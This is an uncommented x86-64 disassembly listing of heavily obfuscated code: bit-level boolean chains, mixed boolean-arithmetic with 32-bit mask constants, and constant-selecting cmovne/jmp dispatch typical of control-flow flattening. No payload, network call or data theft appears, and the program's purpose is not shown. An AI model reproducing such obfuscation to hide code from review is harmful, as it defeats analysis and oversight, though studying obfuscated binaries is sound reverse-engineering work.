mov eax, r8d
mov r11d, r12d
and al, r12b
xor r11b, r8b
or r11b, al
mov eax, r11d
xor al, 1
and r11b, al
mov edx, eax
and dl, r11b
xor r11b, al
or r11b, dl
mov esi, ecx
xor sil, 1
mov r8d, ecx
or r8b, sil
and cl, sil
mov eax, esi
and al, cl
mov r12d, esi
xor r12b, cl
or r12b, al
mov byte [rbp - 0x3f], r12b
mov eax, r12d
xor al, 1
and r12b, al
mov byte [rbp - 0x3e], r12b
xor r12b, 1
or r12b, al
xor al, r8b
mov byte [rbp - 0x35], al
xor r8b, 1
xor cl, 1
mov eax, esi
xor al, cl
mov byte [rbp - 0x3d], al
or cl, sil
mov byte [rbp - 0x43], cl
mov ecx, esi
mov byte [rbp - 0x42], r8b
and sil, r8b
xor cl, r8b
or cl, sil
mov esi, ecx
xor sil, 1
mov eax, esi
and al, cl
or cl, sil
mov edx, esi
and dl, al
xor al, sil
or al, dl
mov edx, eax
xor dl, 1
mov esi, edx
and sil, al
mov r8d, esi
and r8b, dl
xor sil, dl
or sil, r8b
mov r8d, esi
and r8b, cl
xor al, cl
xor cl, 1
xor sil, 1
and sil, cl
or sil, r8b
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, sil
xor sil, 1
or sil, dl
xor al, 1
xor sil, 1
or sil, al
mov dl, byte [rbp - 0x40]
and dil, dl
mov eax, edi
xor al, 1
and dil, al
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
xor dl, dil
mov eax, edx
not al
and al, dil
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edi, ecx
and dil, al
xor cl, dil
xor dil, 1
or dil, al
xor dil, 1
or dil, cl
mov eax, edi
xor al, 1
or dil, al
mov ecx, eax
xor cl, dil
or dil, al
xor dil, 1
or dil, cl
mov r14d, r15d
xor r14b, 1
mov r9d, r15d
and r9b, r14b
mov edx, r15d
and dl, r9b
xor r9b, r15b
or r9b, dl
mov edx, r11d
xor dl, 1
mov ecx, r9d
xor cl, 1
mov r10d, r9d
or r10b, cl
and cl, r10b
mov r8d, r10d
xor r10b, r15b
mov eax, r15d
or al, dl
mov ebx, r11d
or bl, dl
xor dl, r11b
and dl, r11b
or r11b, r14b
mov r15d, r11d
xor r15b, al
or al, r11b
xor al, 1
or al, r15b
xor al, 1
mov r11d, eax
xor r11b, r14b
xor al, r11b
and al, r11b
xor r8b, 1
and r9b, r8b
or cl, r9b
or r8b, r14b
xor r8b, 1
or r8b, r10b
mov r9d, r8d
xor r9b, cl
xor cl, 1
or cl, r8b
xor r9b, 1
xor cl, 1
or cl, r9b
xor bl, 1
xor dl, bl
mov r8d, edx
xor r8b, 1
and r8b, bl
mov ebx, r8d
and bl, dl
xor r8b, dl
or r8b, bl
xor cl, 1
mov edx, ecx
xor dl, r8b
xor dl, 1
and dl, r8b
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and dl, bl
and al, cl
or al, dl
mov edx, eax
xor dl, bl
and dl, al
mov eax, ebx
xor al, cl
xor al, 1
and al, cl
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
xor bl, dl
mov r8d, ebx
xor r8b, 1
and r8b, dl
mov ecx, r8d
and cl, bl
xor r8b, bl
or r8b, cl
mov ecx, edi
xor cl, 1
mov edx, ecx
and dl, dil
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov r10d, esi
xor r10b, 1
mov eax, esi
and al, r10b
mov r9d, esi
xor r9b, al
xor al, 1
or al, r10b
xor al, 1
or al, r9b
mov ebx, edx
xor bl, 1
and dl, bl
mov r9d, ebx
and r9b, dl
xor dl, bl
or dl, r9b
xor dl, al
mov r11d, edx
xor r11b, 1
mov ebx, esi
and bl, r11b
and dl, r10b
or dl, bl
xor r11b, dl
and r11b, dl
mov edx, esi
xor dl, dil
xor dl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, r10b
and dil, sil
or cl, dil
xor sil, cl
and sil, cl
mov r10d, ebx
xor r10b, 1
mov edx, r10d
and dl, bl
mov r9d, r10d
and r9b, dl
xor dl, r10b
or dl, r9b
mov ecx, esi
xor cl, 1
mov eax, ecx
and al, sil
mov r9d, ecx
and r9b, al
xor al, cl
or al, r9b
xor al, dl
xor cl, r10b
or sil, bl
xor sil, 1
or sil, cl
xor al, 1
mov ecx, eax
xor cl, sil
or sil, al
xor sil, 1
or sil, cl
mov eax, esi
xor al, 1
mov ecx, r11d
xor cl, 1
and sil, al
mov edx, eax
and dl, sil
xor sil, al
xor al, cl
xor al, 1
mov ebx, eax
xor bl, cl
and bl, al
mov eax, ecx
and al, r11b
xor cl, al
xor al, 1
or al, r11b
xor al, 1
or al, cl
or sil, dl
xor sil, al
xor bl, 1
xor sil, 1
mov eax, ebx
or al, sil
xor sil, bl
mov ecx, eax
xor cl, sil
xor sil, 1
or sil, al
xor cl, 1
xor sil, 1
or sil, cl
mov r10d, r8d
xor r10b, 1
mov ecx, r8d
or cl, r10b
xor cl, 1
mov edx, r10d
or dl, cl
xor cl, r10b
xor dl, 1
or dl, cl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov eax, esi
xor al, 1
mov ecx, eax
or cl, sil
or sil, dl
xor dl, al
xor sil, 1
xor dl, 1
mov r9d, esi
and r9b, dl
xor dl, sil
or dl, r9b
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
mov eax, ebx
xor al, 1
xor cl, 1
or cl, bl
xor bl, cl
or cl, al
xor bl, 1
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
and r10b, cl
xor cl, 1
and cl, r8b
or cl, r10b
xor cl, 1
xor r8b, cl
xor r8b, 1
or r8b, cl
mov r9d, edx
xor r9b, 1
mov r10d, r9d
and r10b, dl
mov r11d, r10d
xor r11b, 1
mov ecx, r9d
or cl, r11b
or r11b, dl
xor dl, r10b
xor cl, 1
or cl, dl
mov esi, ecx
xor sil, 1
mov eax, ecx
or al, sil
mov ebx, eax
xor bl, 1
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
xor r10b, r9b
xor r11b, 1
or r11b, r10b
xor r11b, al
mov eax, ebx
xor al, r9b
or bl, r9b
xor bl, 1
or bl, al
xor bl, 1
mov eax, r11d
and al, bl
xor bl, r11b
or bl, al
mov r9d, r8d
xor r9b, 1
mov edx, r8d
or dl, r9b
mov eax, edx
and al, r8b
xor dl, r8b
or al, dl
xor dl, 1
mov r10d, edx
xor r10b, al
or dl, al
xor dl, 1
or dl, r10b
xor bl, 1
mov eax, ebx
xor al, dl
xor al, 1
and al, dl
or bl, dl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
and sil, r8b
mov eax, ecx
xor al, r9b
and al, cl
and cl, r9b
or cl, sil
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov esi, ebx
xor sil, 1
xor bl, cl
mov eax, esi
and al, cl
xor sil, cl
or sil, al
mov eax, ebx
xor al, sil
or sil, bl
xor sil, 1
or sil, al
mov al, byte [rbp - 0x34]
or al, byte [rbp - 0x41]
mov edx, eax
xor dl, 1
mov r14d, eax
and r14b, dl
xor r14b, 1
mov ecx, edx
xor cl, r14b
or r14b, dl
xor r14b, 1
or r14b, cl
xor r13b, 1
mov r8b, byte [rbp - 0x3c]
or r13b, r8b
xor r13b, 1
or r13b, byte [rbp - 0x33]
xor r14b, r13b
mov ebx, eax
mov cl, byte [rbp - 0x48]
and bl, cl
xor al, cl
mov edx, ecx
or al, bl
mov ecx, eax
xor cl, r14b
xor r14b, 1
or r14b, al
xor cl, 1
xor r14b, 1
or r14b, cl
mov eax, r14d
xor al, 1
mov ebx, eax
mov byte [rbp - 0x33], al
mov cl, byte [rbp - 0x3f]
mov al, byte [rbp - 0x3e]
xor al, cl
xor r12b, 1
or r12b, al
mov al, byte [rbp - 0x42]
xor r12b, al
or cl, al
xor cl, 1
or cl, byte [rbp - 0x35]
mov eax, ecx
xor al, r12b
xor r12b, 1
xor al, 1
or r12b, cl
xor r12b, 1
or r12b, al
mov eax, r14d
and al, bl
mov ecx, r14d
and cl, al
xor al, r14b
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, r13d
xor al, 1
and dl, r13b
and al, r8b
or al, dl
xor r13b, al
and r13b, al
mov eax, r12d
xor al, 1
mov r15d, eax
and r15b, r12b
mov ecx, eax
xor cl, r15b
xor r15b, 1
or r15b, r12b
xor r15b, 1
or r15b, cl
xor r15b, 1
mov ecx, r15d
and cl, al
xor r15b, al
or r15b, cl
mov dil, byte [rbp - 0x43]
xor dil, 1
or dil, byte [rbp - 0x3d]
mov r8d, ebx
xor r8b, 1
mov eax, r13d
xor al, 1
mov ecx, ebx
or cl, r8b
xor cl, 1
mov edx, r8d
xor dl, cl
and cl, dl
xor dl, 1
mov r9d, ecx
and r9b, dl
xor dl, cl
or dl, r9b
mov ecx, eax
or cl, r13b
mov r9d, eax
xor r9b, cl
or cl, al
xor cl, 1
or cl, r9b
mov r9d, ecx
xor r9b, dl
and cl, r9b
and r9b, dl
mov eax, ecx
and al, r9b
xor r9b, cl
or r9b, al
xor r8b, r13b
mov eax, ebx
and al, r13b
xor r13b, bl
mov r10d, r15d
mov r11d, r15d
xor r11b, dil
and r11b, r15b
xor r15b, 1
or r13b, al
mov eax, r8d
xor al, r13b
or r13b, r8b
xor r13b, 1
or r13b, al
xor r13b, 1
mov eax, r9d
xor al, 1
and al, r9b
xor al, 1
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
xor al, r13b
mov edx, r9d
xor dl, r13b
or r13b, r9b
mov ebx, edi
xor bl, 1
xor r13b, 1
or r13b, dl
mov edx, eax
xor dl, r13b
or r13b, al
xor r13b, 1
or r13b, dl
mov eax, ebx
or al, dil
or r10b, r15b
mov edx, r15d
xor dl, r10b
or r10b, r15b
xor r10b, 1
or r10b, dl
mov edx, eax
xor dl, 1
and dl, dil
and bl, al
or bl, dl
mov edx, edi
and dl, al
xor al, dil
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, r10b
and al, dl
and dl, r10b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dil, r15b
mov ecx, r11d
and cl, dil
xor dil, r11b
or dil, cl
mov ebx, edi
xor bl, 1
mov ecx, edx
xor cl, dil
and cl, dl
and dil, dl
xor dl, 1
and dl, bl
or dil, dl
mov edx, ecx
and dl, dil
xor dil, cl
or dil, dl
mov eax, r13d
xor al, 1
mov ecx, r13d
or cl, al
mov r9d, ecx
xor r9b, 1
mov ebx, ecx
mov r8d, r13d
and r8b, cl
xor cl, r13b
and r13b, al
xor r13b, 1
mov r10d, eax
xor r10b, r13b
or r13b, al
mov eax, edi
xor al, 1
and bl, r9b
xor r13b, 1
or r13b, r10b
xor bl, 1
mov r10d, r9d
xor r10b, bl
or bl, r9b
xor bl, 1
or bl, r10b
xor bl, r13b
or cl, r8b
xor bl, 1
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, eax
or cl, dil
xor al, cl
xor al, 1
or cl, dil
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
and cl, bl
xor bl, 1
xor al, 1
and al, bl
or al, cl
mov ecx, r14d
xor cl, r12b
xor cl, 1
or cl, r14b
xor cl, 1
xor r12b, byte [rbp - 0x33]
xor r12b, cl
xor r12b, 1
and cl, r12b
xor cl, 1
mov edx, ecx
xor dl, r12b
or cl, r12b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov r8d, edx
xor r8b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r8b
mov r8d, ebx
xor r8b, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, r8b
and bl, dl
or bl, cl
mov ecx, r8d
and cl, dl
xor dl, r8b
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
mov edx, eax
or dl, bl
xor dl, 1
mov ecx, eax
xor cl, bl
or dl, cl
mov r8d, edx
xor r8b, 1
and bl, cl
and cl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
and bl, r8b
and al, cl
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, ebx
xor dl, 1
and dl, al
xor al, 1
and al, bl
or al, dl
mov edx, r8d
xor dl, cl
or cl, r8b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r8d, ecx
xor r8b, 1
mov eax, r8d
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and dl, al
mov r10d, edx
xor r10b, 1
mov eax, r10d
and al, dl
xor al, 1
mov r9d, edx
xor r9b, al
or al, dl
xor al, 1
or al, r9b
mov ebx, eax
xor bl, 1
and bl, r8b
and al, cl
or al, bl
xor r10b, r8b
or dl, cl
xor dl, 1
or dl, r10b
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, edx
or cl, al
and dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and cl, al
or cl, dl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
or al, cl
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov r8d, eax
xor r8b, dl
mov ebx, r8d
and bl, al
mov ecx, ebx
xor cl, 1
and cl, bl
mov r9d, ecx
and r9b, bl
xor cl, bl
or cl, r9b
xor cl, 1
and al, dl
or al, r8b
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
mov ebx, ecx
xor bl, 1
xor cl, al
or bl, dl
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov ecx, edx
xor cl, 1
xor dl, al
or cl, bl
xor cl, 1
or cl, dl
or al, bl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
or cl, al
xor cl, 1
or cl, al
mov edi, ecx
xor dil, 1
mov edx, esi
xor dl, 1
mov r14d, edx
and r14b, sil
mov eax, r14d
xor al, 1
or al, sil
xor al, 1
or sil, dl
xor r14b, dl
or r14b, al
mov r8d, r14d
xor r8b, 1
mov eax, r8d
xor al, sil
or sil, r8b
xor sil, 1
or sil, al
mov r9d, edi
or r9b, cl
mov r11d, r9d
xor r11b, 1
mov ebx, r9d
and bl, r11b
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
xor bl, cl
mov r10d, ecx
xor dil, cl
xor cl, r9b
xor bl, 1
xor cl, 1
or r10b, r11b
xor r10b, 1
or r10b, cl
xor r10b, 1
mov eax, ebx
and al, r10b
xor r10b, bl
or r10b, al
mov r9d, esi
xor r9b, 1
mov r13d, r9d
and r13b, sil
mov eax, r9d
xor al, r13b
xor r13b, 1
or r13b, sil
xor r13b, 1
or r13b, al
mov r15d, r13d
xor r15b, 1
mov eax, r15d
xor al, sil
mov edx, r15d
or dl, sil
xor dl, 1
or dl, al
mov eax, r8d
and al, r14b
mov ecx, r8d
and cl, al
xor al, r8b
mov r12d, edx
xor r12b, 1
or al, cl
mov ecx, eax
and cl, r14b
xor al, r14b
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
or dil, r11b
mov ebx, r12d
or bl, cl
and cl, al
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
and r12b, cl
xor cl, 1
and cl, dl
xor dl, al
mov r8d, r10d
xor r8b, 1
xor bl, 1
or bl, dl
mov edx, r10d
xor dl, r8b
xor dl, 1
or dl, r8b
xor dl, 1
xor bl, 1
or cl, r12b
xor cl, bl
mov eax, ecx
xor al, 1
and al, bl
mov ebx, eax
and bl, cl
xor al, cl
mov ecx, edi
xor cl, 1
or al, bl
and dil, cl
mov ebx, edi
and bl, cl
xor dil, cl
or dil, bl
mov ebx, edx
xor dil, dl
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov edx, edi
and dil, bl
xor bl, 1
xor dl, 1
mov ecx, ebx
xor cl, dl
and cl, bl
and dl, bl
or dl, dil
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor al, 1
mov ecx, edx
xor cl, 1
mov ebx, edx
xor bl, al
mov r11d, ecx
and r11b, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, ecx
and bl, r11b
xor r11b, cl
xor dl, 1
or r11b, bl
xor r11b, 1
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
xor r11b, 1
mov eax, edx
xor al, r11b
or r11b, dl
xor r11b, 1
or r11b, al
xor r11b, 1
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
xor r15b, r13b
and r15b, r13b
or r9b, sil
xor r9b, r15b
mov esi, r8d
or sil, r10b
mov eax, esi
xor al, 1
and r15b, r9b
mov edx, r9d
xor dl, r15b
xor r15b, 1
xor dl, 1
or r15b, r9b
xor r15b, 1
or r15b, dl
mov ebx, r8d
and bl, r10b
mov edx, eax
and dl, sil
mov ecx, ebx
and cl, r8b
xor bl, r8b
or bl, cl
xor dl, 1
mov ecx, edx
xor cl, sil
or dl, sil
xor dl, 1
or dl, cl
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
and bl, dl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, r15d
xor cl, 1
and cl, bl
xor bl, 1
and bl, r15b
or bl, cl
xor r10b, r13b
and r10b, r13b
xor r13b, r8b
mov ecx, r10d
and cl, r13b
xor r13b, r10b
or r13b, cl
mov ecx, r13d
xor cl, 1
and r13b, cl
mov edx, ecx
and dl, r13b
xor r13b, cl
or r13b, dl
mov r8d, r13d
xor r8b, 1
mov eax, ebx
mov ecx, r13d
and cl, r8b
mov r9d, ecx
and r9b, r13b
xor cl, r13b
or r13b, bl
xor bl, 1
and al, bl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
or cl, r9b
xor cl, al
xor bl, r8b
xor r13b, 1
or r13b, bl
mov eax, r13d
xor al, cl
xor cl, 1
xor al, 1
or cl, r13b
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
or dl, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
xor r11b, 1
mov edx, r11d
and dl, cl
xor cl, r11b
or cl, dl
mov edx, r11d
xor dl, al
xor dl, 1
and dl, al
or r11b, al
xor dl, 1
mov eax, edx
xor al, r11b
or dl, r11b
xor cl, 1
xor dl, 1
or dl, al
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
xor al, cl
test al, 1
mov ebx, 0x368cecb
mov eax, 0xf1ebdacc
cmovne ebx, eax
test dl, 1
mov eax, ebx
mov edx, 0x368cecb
cmovne eax, edx
jmp 0x140010e50
mov eax, dword [0x1400968b4]
lea ecx, [rax - 1]
imul ecx, eax
mov r10d, ecx
not r10d
mov eax, ecx
mov esi, ecx
and eax, 0x98cabf15
mov ecx, r10d
and ecx, 0x673540ea
or ecx, eax
mov eax, ecx
xor eax, 0x18883310
xor ecx, 0x22140028
and ecx, 0xa2568c2d
and eax, 0x5da973d2
or eax, ecx
mov ecx, eax
xor ecx, 0x5da973d2
xor eax, 0x22500000
and eax, 0x7f503302
mov edx, ecx
and edx, 0x80afccfd
or edx, eax
xor edx, 0xdb58d5cb
and ecx, 0xa408e6c9
or ecx, edx
mov edx, ecx
not edx
mov eax, r10d
and eax, 0xede1231b
mov ebx, esi
and ebx, 0x121edce4
or ebx, eax
mov eax, ebx
xor eax, 0x12161824
and eax, 0x5bf71936
xor ebx, 0x49e9c5d2
or ebx, eax
mov eax, ebx
not eax
mov edi, ecx
or edi, ebx
not edi
and ecx, 0xaf6f6e61
and edx, 0x5090919e
or edx, ecx
and ebx, 0xaf6f6e61
and eax, 0x5090919e
or eax, ebx
xor eax, edx
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xc888440c
mov edx, eax
and edx, 0x11008160
or edx, ecx
xor edx, 0x11008160
and eax, 0x26773a93
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x413776e1
and eax, 0xbec8891e
or eax, ecx
mov edx, eax
xor edx, 0x10044004
xor eax, 0xc348aabb
mov ecx, eax
and ecx, 0x64200750
and edx, 0x124c4886
or edx, ecx
mov ebx, edx
xor ebx, 0x10484802
xor edx, 0xc9008500
or eax, 0x766c4fd6
mov ecx, eax
not ecx
and edx, 0xcb048584
and ebx, 0x34684a52
or ebx, edx
and eax, 0xcb048584
and ecx, 0x933029
or ecx, eax
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0x8993b029
and ecx, 0x766c4fd6
or ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
mov eax, ecx
not eax
and eax, 0xc9941093
and ecx, 0x366bef6c
or ecx, eax
mov ebx, ecx
xor ebx, 0x30288948
xor ecx, 0xc9941092
mov eax, edx
not eax
or ecx, 1
mov edi, eax
and edi, 0xfd376b6
and edx, 0xf02c8949
or edx, edi
or eax, ecx
and ecx, 0xfd376b6
and ebx, 0xf02c8948
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov r13d, eax
not r13d
mov ecx, r13d
and ecx, 0x5c7bc483
and eax, 0xa3843b7c
or eax, ecx
xor eax, 0x5c7bc482
xor r13d, eax
and r13d, eax
mov eax, r10d
and eax, 0x1300d666
mov dword [rbp - 0x3c], esi
mov ecx, esi
xor ecx, 0x1300d666
and ecx, esi
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x29d07595
and ecx, 0xd62f8a6a
or ecx, eax
mov r9d, ecx
xor r9d, 0xc52f5c0c
mov edi, ecx
xor edi, 0x3ad0a3f3
mov eax, r9d
or eax, 0x1b4806a1
mov esi, eax
not esi
xor ecx, 0x2198a552
and ecx, r9d
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0x1b4d3645
and esi, 0xe4b2c91a
or esi, ebx
or eax, edx
and edx, 0x1b4d3645
and ecx, 0xe4b2c9ba
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x1b4806a0
and eax, 0xe4b7f95f
or eax, ecx
and r9d, 0xdcf91000
mov ecx, edi
and ecx, 0x2306efff
or ecx, r9d
xor ecx, 0xdcf91001
and edi, 1
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0xd8d7b74d
and edi, 0x272848b2
or edi, ecx
xor edi, 0x272848b2
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xb03a4d30
and eax, edi
and edi, 0x4fc5b2cf
or edi, ecx
xor edi, 0x4fc5b2cf
mov ecx, edi
and ecx, eax
xor edi, eax
or edi, ecx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xdae49210
and edi, 0x251b6def
or edi, ecx
xor edi, 0x251b6def
or edi, eax
mov r11d, edi
not r11d
mov r15d, r13d
not r15d
mov eax, r15d
and eax, 0xc0db1955
mov esi, r13d
and esi, 0x3f24e6aa
or esi, eax
mov eax, esi
xor eax, 0x3904600a
xor esi, 0xc0db1955
mov edx, r15d
and edx, r13d
mov ebx, edx
not ebx
mov ecx, esi
and ecx, 0x46f887f4
and eax, 0xb907780b
or eax, ecx
or esi, ebx
and ebx, 0x46f887f4
and edx, 0xb907780b
or edx, ebx
xor edx, eax
not esi
or esi, edx
mov r9d, esi
not r9d
mov eax, esi
and eax, 0x509a5a68
mov ecx, r9d
and ecx, 0xaf65a597
or ecx, eax
xor ecx, 0xfd909ba5
mov r14d, r9d
and r14d, 0xad0ac1cd
or r14d, ecx
mov eax, r14d
not eax
and r15d, 0xfdfecf2f
and r13d, 0x20130d0
or r13d, r15d
mov ecx, r13d
xor ecx, 0x2013010
and ecx, 0x52f53e32
xor r13d, 0x50f40ee2
or r13d, ecx
mov r15d, r13d
not r15d
mov ecx, r11d
and ecx, 0x2cab71b
mov edx, edi
and edx, 0xfd3548e4
or edx, ecx
mov ecx, edi
and ecx, 0x8ec83886
mov ebx, r11d
and ebx, 0x7137c779
or ebx, ecx
xor ebx, 0xdc3d06b4
mov r12d, ebx
xor r12d, edi
and r12d, ebx
mov ebx, r13d
and ebx, 0x85831f88
xor r13d, 0xa0b34a13
and r13d, r15d
mov ecx, r15d
and ecx, 0x7a7ce077
or ecx, ebx
or eax, 0xa0b34a13
mov r8d, eax
not r8d
and eax, 0xdf293363
and r8d, 0x44848c
or r8d, eax
mov r15d, ecx
xor r15d, 0x7a7ce077
xor ecx, 0xdacfaa64
and ecx, r15d
mov ebx, r14d
and ebx, r15d
xor r15d, r14d
mov eax, r14d
or eax, 0x5f4cb5ec
mov r14d, eax
not r14d
and eax, 0xdf293363
and r14d, 0x20924810
or r14d, eax
xor r14d, r8d
mov eax, ecx
and eax, r13d
xor r13d, ecx
or r13d, eax
mov eax, r14d
not eax
and eax, r13d
not r13d
and r13d, r14d
or r13d, eax
xor edx, 0x503f8929
or edx, r11d
or r15d, ebx
not r15d
mov eax, r13d
and eax, r15d
xor r15d, r13d
mov ecx, edx
not ecx
or r15d, eax
mov eax, r12d
not eax
and r12d, edx
or edx, eax
and eax, ecx
mov ecx, edx
not ecx
or eax, r12d
mov ebx, edx
and ebx, 0x630920d9
and ecx, 0x9cf6df26
or ecx, ebx
mov ebx, eax
not ebx
or edx, ebx
and ebx, 0x630920d9
and eax, 0x9cf6df26
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, r15d
not eax
and eax, 0xfe4040d5
and r15d, 0x1bfbf2a
or r15d, eax
mov eax, edx
not eax
and eax, 0xfe4040d5
and edx, 0x1bfbf2a
or edx, eax
mov eax, r15d
not eax
and eax, 0x476301b9
and r15d, 0xb89cfe46
or r15d, eax
mov eax, edx
not eax
and eax, 0x476301b9
and edx, 0xb89cfe46
or edx, eax
xor edx, r15d
mov eax, esi
xor eax, r11d
and eax, esi
and r9d, 0xa94707c3
and esi, 0x56b8f83c
or esi, r9d
and r11d, 0xa94707c3
and edi, 0x56b8f83c
or edi, r11d
xor edi, esi
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov ecx, edi
not ecx
and edi, 0x54eb8f58
and ecx, 0xab1470a7
or ecx, edi
mov eax, ecx
xor eax, 0x40688b58
xor ecx, 0xab1470a7
mov ebx, edx
xor ebx, ecx
and ebx, edx
mov edi, edx
not edi
and edi, 0x1d8364a6
and edx, 0xe27c9b59
or edx, edi
and ecx, 0x1d8364a6
and eax, 0xe27c9b59
or eax, ecx
xor eax, edx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov edi, eax
not edi
mov edx, eax
and edx, 0x337c94ca
mov esi, edi
and esi, 0xcc836b35
or esi, edx
mov ecx, esi
xor ecx, 0x1328048a
xor esi, 0x4006b15
and esi, 0x2454fb55
and ecx, 0xdbab04aa
or ecx, esi
mov edx, ecx
xor edx, 0xdbab04aa
xor ecx, 0x45950
and ecx, 0x1a0e5df2
mov ebx, edx
and ebx, 0xe5f1a20d
or ebx, ecx
xor ebx, 0xcc5752c0
and edx, 0xd6590f32
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x4ae6d24c
and edx, 0xb5192db3
or edx, ecx
mov ecx, edx
xor ecx, 0xb5192db3
xor edx, 0x2869208
mov ebx, edi
and ebx, 0xf4e3fc08
and eax, 0xb1c03f7
or eax, ebx
xor eax, 0xdd450cc5
xor edi, eax
and edi, eax
and edx, 0x2797b799
mov ebx, ecx
and ebx, 0xd8684866
or ebx, edx
xor ebx, 0xd8684866
mov eax, edi
not eax
mov esi, edi
xor esi, 0x408e1bbb
and esi, eax
mov r8d, ebx
and r8d, eax
xor eax, ebx
and ebx, 0x408e1bbb
and ecx, 0xbf71e444
or ecx, ebx
and edi, 0xbf71e444
mov edx, esi
and edx, edi
xor edi, esi
or edi, edx
mov edx, ecx
not edx
